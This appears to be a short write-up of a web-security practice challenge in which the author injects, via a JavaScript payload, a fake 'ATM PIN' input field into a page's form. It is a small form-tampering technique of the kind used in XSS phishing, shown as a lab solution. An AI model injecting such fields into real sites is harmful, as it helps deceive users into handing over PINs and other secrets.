Task 4 [Try Now]
Objectives:
- Add a new form field called "ATM PIN"
So this is pretty straight forward. We need to create an element and add it to the form.
Using Document.createElement() you can create an element and then with appendChild function you can add it before the submit button.
So the payload goes like this
let ip = document.createElement("input");
ip.name = "atm_pin";
ip.classList.add("input-block-level");
ip.placeholder = "ATM Pin";
ip.type = "text";
document.forms[0].appendChild(ip);
This will add the input tag underneath submit button. Since it was not mentioned in the challenge, so this was the beast payload I came up with.
For POC, Click Here